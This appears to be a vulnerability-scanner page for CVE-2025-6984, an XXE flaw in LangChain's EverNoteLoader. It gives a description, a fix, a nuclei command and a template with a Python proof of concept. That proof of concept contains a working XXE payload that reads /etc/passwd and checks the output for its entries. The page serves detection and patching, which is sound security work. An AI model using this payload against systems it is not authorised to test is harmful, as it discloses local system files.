langchain-ai langchain - XML External Entity Injection

highseverity

7.5CVSS score

1.6%likelihood of exploitation, next 30 days

77%of all CVEs are less likely

Readycheck to confirm it

langchain-ai/langchain 0.3.63 contains an XML External Entity (XXE) injection caused by insecure XML parsing in EverNoteLoader using etree.iterparse(), letting attackers disclose sensitive information, exploit requires crafted malicious XML payload.

Impact

Attackers can disclose sensitive local files, potentially exposing critical system information.

Fix

Update to the latest version that disables external entity references in XML parsing.

How to confirm it

Positive when: contains in response "root:" or "bin:" or "daemon:"

Run it with nuclei: nuclei -id CVE-2025-6984 -u <target>

The full check

id: CVE-2025-6984

info:
  name: langchain-ai langchain - XML External Entity Injection
  author: nukunga
  severity: high
  description: |
    langchain-ai/langchain 0.3.63 contains an XML External Entity (XXE) injection caused by insecure XML parsing in EverNoteLoader using etree.iterparse(), letting attackers disclose sensitive information, exploit requires crafted malicious XML payload.
  impact: |
    Attackers can disclose sensitive local files, potentially exposing critical system information.
  remediation: |
    Update to the latest version that disables external entity references in XML parsing.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-6984
    - https://huntr.com/bounties/a6b521cf-258c-41c0-9edb-d8ef976abb2a
    - https://github.com/langchain-ai/langchain-community/commit/e842452
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2025-6984
    epss-score: 0.01647
    epss-percentile: 0.76674
    cwe-id: CWE-200
  metadata:
    verified: true
  tags: cve,cve2025,langchain,xxe,intrusive,file-write

self-contained: true

code:
  - engine:
      - py
      - python3

    source: |
      import tempfile
      import os
      from langchain_community.document_loaders import EverNoteLoader

      if __name__ == "__main__":

          xxe_payload = '''<?xml version="1.0" ?>
      <!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
      <note>
          <content>&example;</content>
      </note>'''

          # Write payload to temporary file
          with tempfile.NamedTemporaryFile(mode='w', suffix='.xml', delete=False) as f:
              f.write(xxe_payload)
              temp_file = f.name

          try:
              loader = EverNoteLoader(temp_file)
              print(loader.load())
          finally:
              os.unlink(temp_file)

    matchers:
      - type: word
        part: response
        words:
          - "root:"
          - "bin:"
          - "daemon:"
        condition: or

References

Use this check only on systems you are authorised to test. Where the data comes from